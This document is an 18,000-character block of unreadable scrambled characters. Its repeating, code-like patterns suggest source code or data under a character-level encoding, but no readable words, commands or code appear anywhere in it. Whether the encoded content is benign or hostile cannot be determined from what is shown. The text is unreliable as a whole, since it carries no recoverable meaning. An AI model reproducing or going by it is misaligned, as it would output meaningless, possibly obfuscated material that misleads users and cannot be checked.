WLWNLOLVS__IFMWNLOKVVDu_
Duuuu_u________[L	MH	
__B___XX__Q____[M ____Q_GKFWNLOJV_Q__[__Q_LWNLOIVDu___[RA
W L	WNLOHVVDu__[HMH_B____[RA 	WX,X_Q___IFMWNLOGV__Q___[L	MH	
__Q__IFMWNLOFV__Q____ L	WNLNOV____Q____GKFWNLNNVVDu_________W[HMH____BBB_
V_u[RA
WGKFWNLNMVVDu___
Duu____u_______[N	LL____B_	F GM
W[HMHVDu__W^____GKFWNMILVW[N	LLVV_uuuu_____[RA
W L	WNLNLVVDu
Du_u___WLWHFIVW[S__[N	LLS_
VV_u_[RA
WGKFWNLNKVVDu____
Duuu_____[N	LL$"__B_[Duu___[N	LL_____B__GKFWHOMVW[N	LLVDu______[FK__B__IFMWLFIVW[N	LLVDu_[  IJL__B__[RA
W[RAWX*X___Q_____GKFWNLNJV__Q_____[L	MH	
___Q____ L	WNLNIV_Q___ L	WNLNOVS_[FKVVDuuuu__W[  IJL___BBB__V__uuuuKKGMM 

WLWNLNHVS____ L	WNLNGVVDu[RA
WLWNLNFVVDuuu
Du_u__[RA
WIFMWNLNKVVDu__________W+___[NJN MV__u_______KKGMM 

WLWNLNHVS__[NJN MVDu______WIFMWNLMOVW[830=>3,$LWNMFFV"VV___u_?[830=>3,$LWNLMNV"RA
WLWNLNFVVDu_u_____W:__[NJN MV____uuu______KKGMM 

WIFMWNLNHVS__[NJN MVDu_____WLWNLMMVW[830=>3,$ L	WNLMNV"VV___u?[830=>3,$IFMWNLMNV"RA
WIFMWNLNFVVDu_______u___uuu__u__
___KG	 GOIWVu___u_____[MOO_B__
Du__W[MOO_^BB_____
V__
__[MOODu_____W^ L	WNLMLVW L	WNLMKVVV__u[MOO___B____]]D[KBLINMLD[HLKL		GB[K!MOFDu____
__[MOOD[GJLB/7/ 61+ 2>'P/7/ 61+ 2>'D[	M	B[GJLTNODuu____u[MOO______B___?W L	WKOMVW L	WNLMJVVVDuu_____W^GKFWNLMIVW[MOOV________ L	WNMIKVW[MOOV____C_WKTFIVV__[MOO_B____]]Du_
_[MOODu___u_
_MOOLJOKWVu___uu___u_W^WIFMWNMMIVVV_
Du[	M	O_____B__LWNNIJVWNIFFOOL	OWVS_____IFMWFGGVVDu_[GKGFIK____B___F
W>=,/>+7__Q_IFMWNLMHVS____WKCCNVV___Q__LWNLMGVDu[LF_B__F
W>=,/>+7_Q___GKFWNLMFVS___WNMK!NNIVVDu[GJK__B____ L	WNLMLVWGKFWNLLOVV__@_ 
WV_E___]]Du_____W[GJK__BBB____]]V____u________[GJK___B__W L	WNLMLVWLWIKOVV___@_  
WV_E____]]V_____Q__GKFWNLLNVDu_uPP____2,.3__
uu_[H	HK___B____GKFWKOFVW L	WNLLMVS____LWNLLLVS_[GJK___Q____XPX____Q______[GKGFIKVDu_______WGKFWNLLKVW[H	HKS__IFMWNLLLVV__^BB_OV_[H	HK__B__ L	WNLLLV_Q__IFMWNLLJVW[H	HKS_XPXVDu____[HL___B______GKFWNLMLVWGKFWHGLVV_@__ 
WLWNLLIV__Q__ O JWIFMWNLMFVVV__E_]]Du________W[HL____BBB____]]V___[HL_B___ L	WNLLLV_____Q______	OW]]V_Q_GKFWNLLHV__Q_ O JW L	WNLLGVVDu_WGKFWNLLKVW[HLS____IFMWNLLLVV_^BB__OV_[HL__B____ L	WNLLLV___Q_GKFWNLLJVW L	WNLLFVWIFMWNLKOVS_____]]S______[HLVS____XPXVDu_[H___B_W[830=>3,$ L	WHMMV"V__YY__IFMWNLKNVW[830=>3,$GKFWNLKMV"V__@_[830=>3,$ L	WNLKMV"____E_]]Du_______WIFMWNMIKVW[HV__C______WGOTMOVV__u______[H__B____MLI JW L	WKNLVS__]]VDuu______WGKFWNMIKVW[HV_____C____WNMO!MGVV__u__[H___B__KG	 GOIWVDuuuu____u[ 		J _B_]]Du_______WW[830=>3,$IFMWKGGV"V____YY_GKFWNLKNVW[830=>3,$IFMWKGGV"V_YY___ L	WNLKLVW[830=>3,$GKFWKGGV"V______A__WHMRMMVV_u___[ 		J _B______[830=>3,$ L	WKGGV"Du________u___[ 		J __B_____MLI JW L	WHNFVS__]]VDuuu__uPP__uu____WLWNLKKVW[ 		J V_____A____WKNTFVV_u_ MIMM	WIFMWHNFVS_[ 		J S_GKFWNLKJVVDu____u__[___B_IFMWNLMLVWIFMWHGLVV_@___WV_ L	WNLKIVW 
WXPXVS____/7/ *-3 />+7V____E__XPXDu______W[___BBB_]]V__[_B___XPXDu_W L	WNLKHVW[S__RNV__^BB__XPXV_[__QB___XPXDu__[HMON__B__Wu________GKFWNLKGV__BA__KHNGWVSuuGKFWNLKFV_BA__ 
HO	MKO	WVSuuuu___IFMWNLJOV___BA_____[SuVDuu_[
H
N	NO___B___Wu___GKFWNLJNV__BA__[H	HKSu_IFMWNLJMV___BA__[	M	OSuuu___IFMWNLJLV__BA____[HLSuu__IFMWNLJKV____BA_F
W>=,/>+7____Q_____GKFWNLJJVS____WKF!INVVSu_GKFWNLJIV___BA_[ 		J Su__VDu_[J K__B_
M	FKL
L  WGKFWNLJHVS_]]VDu_____W^ L	WNLJGVW[J KV______LWNLJFVW[J KV_BBB_OV___uu_
Du__u________[	GKF__B___GKFWLFFVWKOLHF WGKFWNLIOVW[
H
N	NOVS_[J KVVDu[MLKK	I___B___LWNLINV___Q____IFMWLFFVWLWNLIMVW[HMONVV___Q_GKFWNLILVDu__[MLKK	I_QB___IFMWNLIKV_Q_[	GKF___Q__IFMWNLIJVDu___ MIMM	WLWNLIIVS_[MLKK	IS____ L	WNLKJVVDu MIMM	WGKFWNLIHVS_____GKFWNLIGVWWV___[H__Q__WV__[ 		J ___Q_[J K___Q______XX___Q_IFMWHHVW	OW]]VVVS___IFMWNLKJVVDu___[
O______B_____GKFWNLMLVWGKFWHGLVV_@____ 
W L	WNLLIV____Q_____ O JWGKFWNLIFVVV_E_____]]Du_W[
O__BBB____]]V___[
O_B_____IFMWNLLLV__Q___	OW]]V___Q_LWNLHOV___Q__ O JWLWNLHNVVDu_______WIFMWNLHMVW[
OS___ L	WNLLLVV__^BB____OV__[
O___B__ L	WNLLLV___Q__IFMWNLHLVWGKFWNLLFVWGKFWNLKOVS_]]S__[
OVS__XPXVDu_ MIMM	WLWNLHKVS______[
OS___GKFWNLHJVVDuuu___WIFMWNLJFVW[HV____C__WOMHTOLVV__u
Du_____u MIMM	WLWNLHIVS__[HS__IFMWNLHJVVDu_____W^	HGFJKOWVV____
Duu_____[IN
__B__	MGLGWVDu______W^?GKFWNLHHVW[IN
VV_ NKKW[IN
S____WKGMTNNVS_
VDu_W^?GKFWNLHHVW[IN
V______^?IFMWGHGVW[IN
VV_
Du_[NOG_B_[IN
____Q___XPX__Q_[LF_Q____GKFWFGGVD[BNKLNIFD[	LKB[!NLIDu_[IFIKG_B__F KKI KFWuuu__ L	WNLHGVSu___WX  ,3*8  XS_X  %6/ 1>2:  XS___X  (-6+: 4:&  XS___X  ):-,601  XVSuuuW[	M	OS__[GKGFIKS__F
W>=,/>+7____Q__IFMWNLJJVS__WNNTNVVS_GIILHWVVuuu__VDu_____W^[IFIKGV_____u____WWV_ WIFMWHKHVS_OV______A__OV___KKGMM 

WLWNLHFVS_GKFWNLGOVVDu_
Duuuu____u_______W^?IFMWNNFOVW[NOGV____ L	WNLIGVW GH
JKHWWV____?LWNNMJVW[NOGVVV__^BB__GKFWNLIGVW[IFIKGVV_u____LFMOHMH
FW[NOGS___[IFIKGS__IFMWNLGNVVDu__OOKHH
 LGW[NOGS_N
KI
WVVDuu_L 
	W[NOGS_WOGTOVVDuu__OFKKF W[NOGVDu___u__________W+__[NJN MV_u__KKGMM 

W L	WNLHFVS_[NJN MVDu________W:_[NJN MV___u__uu
___F KKI KFW[S_[IGNJNS___[OMVu____u_[ K____B____
Duu_________W[ K___BBB____
V___u__[ K_B__ L	WNLMLVWGKFWNLGMVV___@_ WN FHJJHOWVV__E___Du____W^_GKFWNLGLVW[ KVV__uu__[ K_B___FOK G		
KW L	WHJNVS_VDuu______W^_LWNLGKVW[ KVV_u_[ K__B___WVDu____uPP__	R_Ruu__u[I	H 	_____B___]]Du___WW[ K$["V___YY____ L	WNLJGVW[ K$["VV_u[I	H 	__B__[ K$["D[JFKFFBMJTILD[
MM	INB[JFKFFRKNDu____u____W L	WNLGJVW[I	H 	V__C_WLTKHVV______uuu[I	H 	_B___MLI JW[S_]]VDuuuu__W L	WNLGJVW[I	H 	V_C__WONJTONVV__
_Duuu[KGJMO
N__B_GKFWKOMVW[I	H 	S_
VDu__W^[KGJMO
N____IFMWNLGIVW[KGJMO
NV_____C__WOLTOMVV__
_____Duuu______WIFMWNLHMVW[KGJMO
NS_____GKFWMJFVV_BBB___V__
_Du_[KGJMO
N___B____GKFWKOFVW[IGNJNS__[OMS___[KGJMO
NVDu_______WWGKFWMINVVV____uu____u_____?  W[KGJMO
NS__+04:1 />-,:VDu__________W+____[NJN MV__u
____Duuu_________W:_[NJN MV__u
_Duu__uuu______W^	JFO H
W[KGJMO
NVV_u__
_Duu_
__[KGJMO
NDuu_u__
____
IJHNWVuuuu__u___________u__W^IFMWNLMLVWLWNLGMVVV____
Du___W^WGKFWNLGHVVV_
Du[ FFI_B____IKIOH	MWVDu________W^[ FFIV_____u___MOOLJOKWVDu________[ FFI____B__IKIOH	MWVDu__u[_B__MLI JWIFMWNLJHVS_]]VDu___________W L	WNLGIVW[V_BBB___OV_[_B___LWNLGGVW]#OO]S___WMLRHVVDuuuu____[	KJI__B______WW[830=>3,$LWNLKMV"V___YY_ L	WNLJGVW[830=>3,$ L	WNLKMV"V____YY____IFMWNLGIVW[830=>3,$ L	WNLGFV"V_AB__WLNTIFVV___@__[830=>3,$IFMWNLFOV"___E_MLI JW L	WNLHIVS___]]VDu__WIFMWNLFNVW[	KJIV______C____WNITGKVV__[	KJI_B_KG	 GOIWVDu__[M 	
J  NOG___B___WW[830=>3,$IFMWKGGV"V_YY____IFMWNLFMVW[830=>3,$LWKGGV"V___YY_LWNLFNVW[830=>3,$IFMWKGGV"V___A_WKJ!LNVV___@_[830=>3,$GKFWKGGV"__E__MLI JWLWNLFLVS__]]VDu_[N
IGL		F_B_LWNLIGVW[	KJI__Q_[M 	
J  NOG_____Q_[____Q____XX___Q_LWHHVW	OW]]VVVDu_______WMLI JWIFMWNLIHVS_]]V____^BB____[N
IGL		FV_u______MOOLJOKWVDu_[ FFI___B_IKIOH	MWVDuu__W^	HGFJKOWVV__
Du___[	KNIO__B_
MHGO
G	
FWVD[GMF LBNGUFD[KLMG
B[GMF LRNNDu[ H__B__? L	WNNFOVW[	KNIO____Q___IFMWNLFKVVDu___W[ H_YY_[ FFI__YY______ WIFMWNLFJVVV____
Du_ IIGJJKNWVDu___M 	FJFWVDu_______
 NF
HKWVDu_[KO	J_B__?LWNLFIVW[	KNIO_Q__ L	WNLFKVVDuuu____[ FFI______B_____IKIOH	MWVDu___W[KO	J_YY_[ FFIV__u__ WGKFWNLFJVS____NS__WOJITOIVVDuuu_____W+____[NJN MV_u_____KKGMM 

W L	WNLFHVS__[NJN MVDuuu________W:__[NJN MV__uPP_R_
__(/_9
_,_:uuuuuuuuu_
_M 	FJFWVu___uu_______u__________W^WLWNLGHVVV____
Du_______WLWNLFGVWV_BBB_GKFWGKVV__
Du___[KGK__B_GKFWNLMLVW L	WNMHGVV_@_?LWNLFFVWLWJGIVV___E_Du_______W^[KGK____[KGK___BBB_]]____[KGK__BBB_LWNKOOVV_[KGK__B____ L	WJGFVDu__[LF___B__F
W>=,/>+7______Q_ L	WNKONVS___WNHK!NIIVVDu___[	KNIO______B_
MHGO
G	
FWVDu[IN
__B____	MGLGWVDu__[GJFKIH _____B____F
W>=,/>+7______Q_GKFWNOFNVS__WKTKVV__Q_LWNKOMVDu[K
LKJ_B__[	KNIO_Q__XPX______Q_[GJFKIH Du[NKHJ__B___[	KNIO__Q___ L	WNKOLV__Q___[GJFKIH D[JL
	LFNB/7/ 2>50- ):-,601D[IJJB[JL
	LFNUGDu____[	M	O__B_____IFMWNNIJVWNIFFOOL	OWVS__ L	WNKOMVVDu_[GKGFIK__B__F
W>=,/>+7_Q__LWNLMHVS_____WNIRGVV___Q_IFMWNLMGVDu[KJ____B_____WV____ WGKFWNKOKVS__OVDu_____W[KJ_YY_____IFMWNNKLVWV_R____[KJ__C__WOITOIMVV_u___OO KW[K
LKJS___
VDu_____OO KW[NKHJS___
VDuuu____WWLWIIGVW>=,/>+7S___GKFWNMIGVVS_GKFWIIGVW[	KNIOS___GKFWNKOJVVV_________[
GMOLV_u_____[LKLO__B_[
GMOL_Q__XPX____Q_[KGKDuuuu___[LLOF___B_? L	WNKOIVW[LKLOV____@_____? L	WNKOHVW[LKLOV___E__]]Du_______WLWNLFMVW[LLOFV_____YY_____IFMWNLHMVW[LLOFS_[GJFKIH V__^BB_V__u_[FGJI
M___B__LWNKOGVWGKFWNKOFV___Q_____LWNKNOVW[GJFKIH S__XPXV__Q_ L	WNKNNVS__]#]S_[LLOFVDuuuu________W L	WNLFMVW[FGJI
MV____YY______[FGJI
M__^BB_[LLOFV____
LKLJ	NW[LKLOS__[FGJI
MVDuuuuuPP_2,.3_G_<+:__uu_u____
Duuuu___[JN__B___F KKI KFWuuuuIFMWHLGVSu__WX  ,3*8  XS_X  %6/ 1>2:  XS___X  61,+ 7>,7  XS___X  ;>+> ;6-  XS__X  <01+:1+ ;6- =IK  XS_____X  ):-,601  XVSuW[	M	OS_[GKGFIKS_[LFS___GKFWNKNMV___Q_F
W>=,/>+7_Q______IFMWKJVS_WNKRIVVS____IFMWLFFVWWIFMWNKNLVV____@__(/ <01+:1+ ;6-_E_
MHGO
G	
FWVVS__GIILHWVVu___VDu_______W^[JNV___uPP__Ruu_______WWV____ WLWHKHVS__OV______A__OV__KKGMM 

WLWNKNKVS__GKFWNKNJVVDu______
Du______u__W^?IFMWNLHHVW[IN
VV____ NKKW[IN
S_WONMFTOKVS__
VD[IF
OBLUID[FMHB[IF
ORLKDu_[KGGM_B__Du___W^?LWNLFIVW[NKHJV_______IFMWNKNIVW GH
JKHWWV_?IFMWNKOHVW[NKHJVVV____^BB_LWNKNIVW[JNVV_u____LFMOHMH
FW[NKHJS___[JNS____ L	WNKNKVVDuuuu_OOKHH
 LGW[NKHJS_N
KI
WVVDuuu___L 
	W[NKHJS___WKOHTNLVVDu_OFKKF W[NKHJVDu__[KGGM_B__
Duu[LFKOF__B_____]]Du_____WWLWIIGVW>=,/>+7S___IFMWNKOJVVS__IFMWIIGVW[	KNIOS_LWNKNHVVV______[HO	JIV_uuuu______[

O_B__?IFMWNLFIVW[HO	JI____Q__XPX__Q______[KGKV______@____?LWNKNGVW[HO	JI__Q_XPX__Q_[KGKV_E__]]Du_____W L	WNKNFVW[

OV__YY__LWNLONVWLWNKMOVS__[

OS___[JLMHGOVV____u____[JHMIM__B___IFMWNMGNVW[JLMHGO$M"VDu___W[JHMIM___^BB_]]____YY__W[JHMIMS__ L	WNKMNVV__BBB______YY__^GLOW[JHMIMVV____uuuu____[LFKOF_B______[JHMIMDu___Duuu__u___u_[	G
M____B_IFMWFFLV__Q______W[LFKOF___^BB_]]__@_ L	WNKMMV____Q____GKFWNKMLVW[LFKOFS_
V_Q__ L	WNKMKV___E___]]Vu_Q_GKFWNKMJV___Q_[GJFKIH ______Q____IFMWNLIJVuQ__LWNKMIVu_Q___LWNKMHVuQ__IFMWNKMGV____Q___IFMWNKNIVW[JNV__Q_LWNKMFVDuuu_W^?LWNLFIVW[K
LKJV__IFMWNKNIVW GH
JKHWWV______? L	WNKLOVW[K
LKJVVV__^BB_ L	WNKLNVW[	G
MVV_uuLFMOHMH
FW[K
LKJS_[	G
MS___LWNKLMVVDu_OOKHH
 LGW[K
LKJS_N
KI
WVVDuuuu_L 
	W[K
LKJS_WLKFTHNVVDuOFKKF W[K
LKJVDu_[KGGM____B___
Duu[LN__B__
Du[
NK	____B___ GH
JKHWWV_? L	WNKLLVW[NKHJVVDu____W^?IFMWNKOIVW[NKHJV_______[
NK	_^BB__[JNV___u_KKGMM 

W L	WNKNKVS____GKFWNMNFVVDu__OO KW[NKHJS_
VDu_[LN___B___Du__u__[
NK	__B_ GH
JKHWWV_____? L	WNKLLVW[K
LKJVVDu________W^?LWNKLKVW[K
LKJV___[
NK	___^BB_[	G
MV__u____KKGMM 

W L	WNKNKVS_LWNMNFVVDuuuuOO KW[K
LKJS_
VDu___[LN___B__D[MIH	MILBMMUMD[KKB[MIH	MILRMJDu__u______
W[
NK	VDu___W^[LNV___u[ JFKI
FO_____B___WV____ WGKFWNKLJVS_OV____T_NDu___
 WGKFWNKLJVS_[ JFKI
FOS___LWNLHJVVDu_W[ JFKI
FO_AB____WONTOMVV_u__
 WLWNKLIVS___LWNNKLVWVS_____ L	WNLHJVVDu_____KKGMM 

WIFMWNKLHVS__GKFWNKLGVVDuu__u_
Duuuu_______[	GGKMG__B_WIFMWIIGVW>=,/>+7S___ L	WNKNHVVS__LWIIGVW[	KNIOS_ L	WNKNHVVVDu[GNI	_B__WVDuuu_____W[	GGKMG____[HN
OV____u________[IMH___B_[HN
O___Q___XPX___Q___[KGKDu_[___B_?GKFWNKLKVW[IMHV_@___?LWNKLFVW[IMHV_E__ODu[
_B_?LWNKKOVW[IMHV_____@_____? L	WNKLLVW[IMHV_____E__]]Du___W^IFMWNKKNVW[
VV____u_KKGMM 

W L	WNKLHVS__ L	WNKKMVVDu___uu_
Duu____WGKFWNKKLVW[
S___[GJFKIH V__BBB__V__uuuu________W[
_____YY___GKFWNLKHVWLWNKKKVW[
VS______RNV____^BB___]#]V__[
_QB_]#]Du_____[	KMH___B___LWNKKJV_Q____[K
LKJ_Q_X]X__Q__/7/ :03Du_________W
LKLJ	NW[IMHS__[
_Q__[	KMHVV______u___W[V_OOKHH
 LGW[IMHS_[VDu_OOKHH
 LGW[IMHS___ L	WNNKLVWVVDu_L 
	W[IMHS____WKNFTNVVDu_
 W L	WNKKIVS_____GKFWNNKLVWVS_____GKFWNLHJVVDu[GNI	$"_B__W[IMHS____[
VDu__________WWV_ WIFMWNKKHVS____OV___A___OV____
 WIFMWNKKHVS__OS__ L	WNKKGVVDu______WWV_ WLWNKLIVS_____OV___A__OV___? WIFMWNKKFVVDu_________uPP_?
_uuu__[JKFI___B_WV____ WGKFWNKKHVS_OV______T__ND[ JIB/7/ 61+ 2>'P/7/ 61+ 2>'D[IKLB[ JITMODu__
 WIFMWNKKHVS_[JKFIS_ L	WNKKGVVDu__W[JKFI_AB___WNTMVV_u_
 W L	WNKKFVS_____GKFWNNKLVWVS__LWNKKGVVDu______KKGMM 

W L	WNKLHVS_LWNKLGVVDu_Duuu__uu_u___W[KGGM__YY____^LIJ  	IOGWVV__u_uuu____KKGMM 

W L	WNKLHVS_LWNKJOVVDu______OO KW[K
LKJS___
VDu_OO KW[NKHJS____
VDu__W[GNI	___[F
NV__
LKLJ	NW[F
N$O"S_[F
N$N"VDu_[ JFKI
FO_B_____WV_ WGKFWNKKHVS__OV_T_____NDu____
 WGKFWNKJNVS_[ JFKI
FOS__IFMWNKKGVVDuuu___W[ JFKI
FO____AB_WONTOMVV___u____
 WIFMWNKKFVS___IFMWNNKLVWVS___ L	WNKKGVVDu____KKGMM 

WIFMWNKJMVS____GKFWNKLGVVDu______u_______u_______W+__[NJN MV___u__KKGMM 

WLWNKJMVS__[NJN MVDuu___W:__[NJN MV_u____u___u__
___IF
OGFNWVu_____uPP___Ruu__uPP_(/_7_3__
uu______W^GKFWNLMLVWGKFWNMJMVVV__
Du_______WWIFMWIOLVV___WLWNKJLVVV____u____WWV__? WLWNKJKVS__OVV___u_? WLWNKJKVVDu_____?
 WIFMWNKJNVS___OS___GKFWNKKGVVDuuPP____(/_/_+uuuu______
Du___u__[LLMHN_B__WV_? WLWNKJKVS__OVDu_______W^[LLMHNV____
Du___[ NH____B___LWNKJJVWGKFWNKJIVV___@__WV___?IFMWNKJHVW L	WNKJGVV__E__ODuu__W[ NH__CB___OV_[ NH__B_WOTOKVDu______WIFMWNNKLVWV__R_[LLMHN___C___[ NH_T_WONTOMVV____
Du___?
 WIFMWNKJKVS_ L	WNNKLVWVS___ L	WNKJFVVDu[MNH__B____WV_? WGKFWNKJNVS_OV____T_NDu____?
 WGKFWNKIOVS_____[MNHS___IFMWNKJFVVDu___W[MNH___AB___WKRNVV___u__? WGKFWNKINVVDu?
 WIFMWNKKFVS___LWNNKLVWVS__GKFWNKIMVVDuu___KKGMM 

WLWNKJMVS_IFMWNKILVVDu__uuu___________W+_[NJN MV__u____W:___[NJN MV____u_u__u
__OMLNN	WVu___u_u___W^WGKFWNLGHVVV___
Duu___WIFMWNLFGVWV_BBB______ L	WGKVV_
Duuu_____W^NONJFFFNWVV_
Du___W^	HGFJKOWVV______
Du____[IN
____B__	MGLGWVDuuu___[NNK_____B__[IN
_Q____ L	WNKIKVDu_[GO__B_____ L	WNKIJV___Q_]#]___Q______LWNKIIV___Q_]#]u___Q______IFMWNKIHV__Q___]#]____Q____GKFWNKIGV_Q____]#]____Q_IFMWNKIFV__Q___]#]u_Q__ L	WNKHOV_____Q___]#]____Q____IFMWNKHNV__Q__]#]___Q_ L	WNKIFV___Q__]#]u__Q__LWNKHMV__Q__]#]Du__[
__B____?LWNKHLVW[NNKV______@____? L	WNKHKVW[NNKV__E_]]Du________W^ L	WNKKNVW[
VV__u____KKGMM 

WLWNKHJVS_ L	WNKKMVVDu_
Duuuu_u_______WIFMWNKKLVW[
S__IFMWNKIJVV__BBB__V_u___
LKLJ	NW[NNKS_[
_Q____[GOVD[	K	MIBNFFHKD[B[	K	MI!MNLDu_OOKHH
 LGW[NNKS_N
KI
WVVDuL 
	W[NNKS____WHHJRLJJVVDuu_[OKN__B____	MNMWVDu__W^[OKN_______LWNLFNVW[OKNV_C_WKLLTIHVV___
Du[	M	O____B_GKFWNNIJVWNIFFOOL	OWVS___LWNKHIVVDuu___[	KNIO___B__
MHGO
G	
FWVDu_____[GJFKIH _B_F
W>=,/>+7_____Q_IFMWNOFMVS_WOJTOLVV_Q___LWNKHIVDu__[
OMLO____B_Wu___[	KNIO__Q__XPX__Q_____[GJFKIH Su[IN
_____Q___XPX_Q_____[GJFKIH Su_VDu__[GLMG_B_[	KNIO__Q____XPX___Q_[GJFKIH D[M 	F
LBNLGID[MIB[M 	F
LZNJDu____W[
OMLO_____[MOOV___u_____[HN
O_B_GKFWNMIFVW[MOOVDu_W?GKFWGHGVW[HN
OV_______ NKKW[HN
OS______WOJTONFNVS_
VV___uPP_(/_
:-E__Ruu__[GLMG____B___[MOODu__Du___u___u_[I	H 	__B___LNMWVDu___[JN_____B_____F KKI KFWu____GKFWNKHHVSuWX  ,3*8  XS___X  /3*861 =>,:IK  XS______X  ):-,601  XVSuW[	M	OS___[I	H 	S_GIILHWVVu______VD[FHGBHLTGID[MJFKIB[FHGRMJDu____W^[JNV_u____WWV_ WIFMWNKHGVS_OV____A_OV__KKGMM 

W L	WNKHFVS__IFMWNKGOVVDu_
Du_u_____[LFKOF__B_]]Du_[	KHONJG___B___W>=,/>+7___Q_IFMWNKGNVS_[	KNIO_Q_ L	WNKGMVVDu___[	 FN 
GL_B__LWNKJJVWGKFWNKGLVV_@___?IFMWNKGLVWGKFWNKGKVV___E__Du_______W L	WNKKNVW[	 FN 
GLV___YY___[	 FN 
GL__^BB_]]V___u_____[	KHONJG$"__B__ L	WNKKKVW>=,/>+7S____IFMWNKNHVV__Q_XPX___Q__[	 FN 
GLDu___[	KHONJG$"__B_[	KNIO__Q__XPX_Q__[	 FN 
GLDu____u__W[	KHONJG_______[   V_u_[OJHK__B_?GKFWNKGJVW[   V_@____? L	WNKHKVW[   V_E______]]Du_________W^ L	WNKGIVW[OJHKV_______[OJHK_BBB__]]V__
Duuuu______WIFMWNLONVWLWNKGHVS______[OJHKS__[JLMHGOVV___u___[JHMIM__B_ L	WNMGNVW[JLMHGO$M"VDu_________W[JHMIM__^BB_]]___YY____W[JHMIMS____LWNKMNVV_BBB_____YY___^GLOW[JHMIMVV__uu_[LFKOF_B____[JHMIMDuDu__uPP_R__Ruuuu_u_u___W[LFKOF_^BB____]]V_u______[JN_____B____ L	WNKGGVWLWNKGFVS_GKFWNKFOV__Q____IFMWNKMLVW[LFKOFS__
V_Q___ L	WNKFNVS____[JNS____NVDu______W^ L	WNKGIVW[JNVV___u___KKGMM 

WLWNKHFVS__LWNKFMVVDuuu
Duu__u[HFG	K___B__
Du[
I	
OLN__B_
Du____W?LWNKHLVW[GLMGVV__uPP_?
_uuu_[
I	
OLN___B____ GH
JKHWWV__? L	WNKHKVW[GLMGVVDuu____________WGKFWNKGIVW[
I	
OLNV___YY___[
I	
OLN__BBB__[JNV____u_______[HFG	K_____B__Duuu_uPP_996_E__uu__u[MG	MN_B__Wu__>=,/>+7___Q_ L	WNKFLVSu__WWIFMWNKNLVV____@___(/ <01+:1+ ;6-_E___[	KNIOV_Q_GKFWNKFKVSu_VDuu__[FGL___B____WV___ WLWNKFJVS___OVDu________W[FGL_YY_GKFWNKFIVWV__R__[FGL___C___WGILILTLHVV_u_OO KW[GLMGS___
VDuuuu__W[MG	MN____[	KGLJ FV___uPP__uu_____[KO___B___?LWNKGJVW[	KGLJ FV__@_? L	WNKHKVW[	KGLJ FV_____E____]]Du______W L	WNKGIVW[KOV_YY_ L	WNKKLVW[KOS___[GJFKIH V_^BB___V___u[KHK __B__K

NNNMW[KOS__[GJFKIH VDuuu_______WIFMWNKFHVW[KHK V__YY____[KHK ____^BB_____[KOV__
LKLJ	NW[	KGLJ FS_[KHK VDu________u___u________
Du___u___________W[HFG	KV___[
JGBWOKTOFVD[KMOB[
JGZIDu_LFMOHMH
FW[GLMGS__[JNS__LWNKFGVVDuuuu______OOKHH
 LGW[GLMGS____N
KI
WVVDuu___L 
	W[GLMGS____WONOGTOFVVDu__OFKKF W[GLMGVDu__u____[
NK	_____B____?IFMWNKGJVW[GLMGV___@____ GH
JKHWWV____?GKFWNKFFVW[GLMGVV_____E__]]Du______W[
NK	_^BB__[JNV___uu_______KKGMM 

WIFMWNKHFVS____IFMWNMNFVVDuOO KW[GLMGS___[HFG	K___@__[
I	
OLN_E_
VDu_[ N	IFN______B____WV__ WLWNJOOVS______OV__T__NDu___
 WLWNJOOVS__[ N	IFNS_____GKFWNJONVVDuuuu_____W[ N	IFN___AB____WONTOMVV___[IMGBGLD[HIKBW[IMGAOV@[IMGER[IMGDu
 W L	WNKFJVS__LWNKFIVWVS_ L	WNJONVVDu_KKGMM 

WGKFWNKHFVS__GKFWNJOMVVDu_u_
Du____u___
W[
NK	VDu[__B_GKFWNJOLVDu_[GNI	_B____WVDu______W[MG	MN___[IOJFIV___u[HN
O___B___ L	WNMIFVW[IOJFIVDuuuu_W^?GKFWGHGVW[HN
OVV_____
Du_____[
FI_B__LWNKJJVWIFMWNOKVV___@__?LWNOKVW[IOJFIS_XXV___E_Du_W[
FI__^BB_____YY__IFMWNKJJVWLWNNIIVVV___?W[
FIS__30<4 :'VDu_[_B__?LWNKGJVW[IOJFIV_@____?LWNKLFVW[IOJFIV_E__ODu_[I JF	LG_____B_?GKFWNJOKVW[IOJFIV____@__?IFMWNKFFVW[IOJFIV__E_]]Du____________W^LWNKFHVW[I JF	LGVV_u__KKGMM 

W L	WNKHFVS_LWNKKMVVDu__W[
FI___^BB_V______u_________WGKFWNKJJVWLWNJOJVVV___?W[
FIS___30<4 *1VDu_______?W[
FIVDu_u__
Duu___u____WLWNKKLVW[I JF	LGS__[GJFKIH V__^BB__V_u_______W?IFMWNKGJVW[GLMGVV___u_____W[
FI___^BB_V_u_____WIFMWNKJJVWIFMWNJOJVVV_?W[
FIS___30<4 *1VDu_____?W[
FIVDuu____u______
Du__u[I JF	LG_B_____K

NNNMW[I JF	LGS____[GJFKIH VDu_____u_W^ L	WNKFHVW[I JF	LGVV____u____KKGMM 

WLWNKHFVS_____IFMWNKFMVVD[NKBKNJND[		HLB[NKZMDu_____W[
FI____^BB___V___u_______WIFMWNJOIVWGKFWNJOHVVV__?W[
FIS_30<4 *1VDu_?W[
FIVDu___u_____
Du___u__W^? L	WNJOGVW[GLMGVV__uPP_(/_9
_,_:E__
uu______W[
FI__^BB_V_u_____WLWNJOIVWLWNJOFVVV___?W[
FIS__30<4 *1VDu_?W[
FIVDuuu__uuu___
Du___u__WIHKHJWVV__uuuu__[	KMH_____B_]#C62
_A#]_Q_[____Q____ L	WNJNOV____Q___[GLMG_Q____X]X___Q___]#CP62
A#]Du___u__[	KMH_B____]#C62
_ QA#]__Q_[__Q_LWNJNNV_Q__[GLMG_Q_X]X____Q_]#CP62
A#]u__Q__]C62
_ JQA#]_Q_[_Q_LWNJNNV_Q____[GLMG__Q_X]X_Q_]#CP62
A#]uuu_____Q___]C62
_ HQA#]__Q___[__Q___IFMWNJNMV___Q_[GLMG_Q_X]X_Q______]#CP62
A#]u_______Q_]C62
_ GQA#]__Q______[_Q___GKFWNJNMV__Q_[GLMG_Q____X]X_____Q_]#CP62
A#]Duu__u___W
LKLJ	NW[IOJFIS_[I JF	LG_____Q_[	KMHVV__[GNI	$"_____B__W[IOJFIS__[I JF	LGVDu____W[V__OOKHH
 LGW[IOJFIS_[VDuu_____OOKHH
 LGW[IOJFIS___LWNKFIVWVVDu_____W[
FI___^BB__V__u___WGKFWNJNLVWIFMWNJOFVVV___?W[
FIS__30<4 *1VDu__?W[
FIVDu___u_______u_______WW[HFG	K____ L	WNJNKVW[GNI	V_____A__OV__YY_____^LIJ  	IOGWVV_____u_uuuu_KKGMM 

W L	WNKHFVS___GKFWNKJOVVDuu__OO KW[GLMGS__[
I	
OLNVDu_W[GNI	__[F
NV___
